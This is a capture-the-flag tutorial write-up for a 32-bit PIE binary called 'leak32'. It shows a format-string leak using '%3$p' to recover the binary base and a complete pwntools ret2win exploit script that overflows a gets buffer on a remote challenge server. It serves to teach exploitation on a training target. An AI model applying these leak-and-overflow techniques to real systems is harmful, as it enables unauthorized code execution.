leak32

In this case, we won't be provided a leak. Instead, we'll need to combine how we used format strings and find our own leak. Solving this challenge will be remarkably similar to how we solve canary challenges, so be sure that you're confident in Sections 0x3 and 0x4 before moving on.

Static Analysis

PIE is indeed enabled, and there is no canary:

```
$ checksec ./leak32
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/06-
pie/leak32/src/leak32'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

We'll move straight to the `read_in` function. You can verify that `main` and `win` haven't changed. This code is actually the same as one of the canary challenges, replacing the canary with PIE. We'll see it doesn't change our exploit that much.

Here is the source code for `read_in`. This was collected straight from `gdb`, so please ensure you're confident in doing this.

```
void read_in()
{
    puts("What's your name?");
    gets(ebp-0x30);

    printf("Nice to meet you ");
    printf(ebp-0x30);
    putchar(0xa);   // newline

    printf("What's your message?");
    gets(ebp-0x30);

    return;
}
```

We'll use a format string against the first input. Let's test what happens when we do that to see what addresses get printed. In this case, because we are looking for addresses, we use `%p` instead of `%x`:

```
$ ./leak32
What's your name?
%p %p %p %p %p %p %p %p
Nice to meet you (nil) 0x1000000 0x566301f9 0xf7ee2540 (nil) 0x25207025
0x70252070 0x20702520
What's your message?
```

The only item here that looks like an address is `0x566301f9`. `0xf7ee2540` a far away instruction or a stack address, so it's not as helpful. We'll check both just to be sure our intuition is right.

> *Quick side note*: When using breakpoints on a binary with PIE enabled, they **must** be an offset from a known function. Addressing based on what you see in `disas read_in` won't work. Use something like `disas *(read_in+8)`.

Also, because PIE is enabled, we can't check *those* specific addresses. We need to check the addresses shown on each specific run. To do this, put a breakpoint at the vulnerable `printf` call and check the stack.

```
gef➤  x/10wx $esp
0xffffd580: 0xffffd598  0x00000000  0x01000000  0x565561f9
0xffffd590: 0xf7fc4540  0x00000000  0x25207025  0x70252070
0xffffd5a0: 0x20702520  0x25207025
```

The first address is the address of the format string. We start counting from the second item (which reads `(nil)` in the standard output). We want the third and fourth options, which also have the same high bytes.

```
gef➤  x/wx 0x565561f9
0x565561f9 <read_in+12>:    0x2dc7c381
gef➤  x/wx 0xf7fc4540
0xf7fc4540 <__kernel_vsyscall>: 0x89555251
```

Aha! The third value resolves to `read_in + 12`, which happens to be the base pointer for `read_in`. The fourth value resolves to `__kernel_vsyscall`, which is a function in the kernel. The first one is clearly more useful, so we use that.

Exploitation

We'll use a very similar exploit to the previous binary, just accounting for how we will receive the leak.

We'll start by establishing the binary and process:

```
elf = context.binary = ELF('./leak32')
p = remote('vunrotc.cole-ellis.com', 7200)
```

Then, we need to receive the leak. We'll receive the third format string parameter, which we know is at `read_in + 12`. From there, we'll compute `elf.address`:

```
p.sendline(b'%3$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.read_in + 12)
```

Now, we can build the payload. It's a simple ret2win from here!

```
payload = b'A' * 0x34
payload += p32(elf.sym.win)
```

Finally, we send the payload.

```
p.recvuntil(b'message?')
p.sendline(payload)
p.interactive()
```

This gets us the flag! Here is the full exploit:

```
from pwn import *

elf = context.binary = ELF('./leak32')
p = remote('vunrotc.cole-ellis.com', 7200)

p.recvline()

p.sendline(b'%3$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.read_in + 12)

payload = b'A' * 0x34
payload += p32(elf.sym.win)

p.recvuntil(b'message?')
p.sendline(payload)
p.interactive()
```